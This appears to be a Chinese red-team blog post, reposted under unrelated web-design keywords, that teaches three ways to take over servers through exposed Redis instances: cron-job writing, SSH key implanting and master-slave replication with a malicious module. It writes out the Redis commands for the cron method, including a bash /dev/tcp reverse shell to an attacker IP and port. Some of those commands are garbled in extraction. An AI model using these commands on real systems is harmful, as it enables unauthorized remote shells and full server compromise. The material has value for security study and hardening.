成都网站建设 网络公司,北京社保网站做社保增减员,自定义网站主页设计,白云高端网站建设案例更多实战内容#xff0c;可前往无问社区查看http://www.wwlib.cn/index.php/artread/artid/10333.html
Redis是我们在实战中经常接触到的一款数据库#xff0c;因其在前期打点中被利用后可直接影响服务器安全所以在攻防过程中也备受红队关注#xff0c;在本文中会重点分享一…更多实战内容可前往无问社区查看http://www.wwlib.cn/index.php/artread/artid/10333.html
Redis是我们在实战中经常接触到的一款数据库因其在前期打点中被利用后可直接影响服务器安全所以在攻防过程中也备受红队关注在本文中会重点分享一下与之有关的一些攻击技术同时探究其中的技术原理。
注意由于Redis的语法不同于其他数据库所以更为详细的语法介绍建议各位前往Reids官网https://redis.io/commands?fromQuickRedis进行查阅。
方法1创建计划任务反弹SHELL 执行命令
config set dir /var/spool/cron
set bmz \n* * * * * bash -i /dev/tcp/192.168.0.128/7890 01\n
config set dbfilename root 查看系统的计划任务的时候能看到已经新增了我们所添加的计划任务因为文章分了两天写网络环境有变动所以下图的IP与端口与上文的不一致。 为什么会这样在进行这项攻击操作的时候前几项都是赋值的操作只有最后的save命令比较可疑在Redis的官网上是这么描述save命令的。
这些命令执行数据集的同步保存生成 Redis 实例内所有数据的时间点快照格式为 的 RDB 文件。SAVE
所以这里我们可以验证一下定义多个变量然后save查看下文件内容。 能够看到我们的操作赋值已经全部写入了dbfilename变量指定的文件中。
清楚了这个情况之后接下来所讲的通过写入ssh 公钥来获取主机访问权限就很容易理解了。
方法2通过写入SSH公钥获取系统访问权限
在我们的攻击机上面生成后续需要上传到靶机的公钥 之后我们的攻击机即可远程登录靶机系统。 这个过程与方法一是完全一样的所以依据这个原理我们便可以去尝试更多的利用方式了。
方法3主从复制获取系统权限
主从复制利用了redis支持接受外部扩展以此来丰富所支持的命令的问题。通过伪造redis主服务器并在上面加载恶意外部扩展文件向各个从服务器下发恶意外部扩展文件这里的从服务器其实也就是我们所控制的安装了redis的服务器当从服务器加载了外部扩展后即可执行恶意外部扩展的代码以下是提供的案例演示。
首先还是设置好我们的主目录以及恶意扩展的文件名之后通过slaveof命令来连接我们伪造的主服务器。 主服务器的工作很简单生成一个恶意外部扩展文件并且运行监听程序即可。 加载我们的恶意外部扩展。 这个时候在redis中已经有了我们的扩展命令可以执行我们想要执行的任何命令当然也不必局限于执行命令由于外部扩展代码使我们所定义的所以也可以实现其他的功能。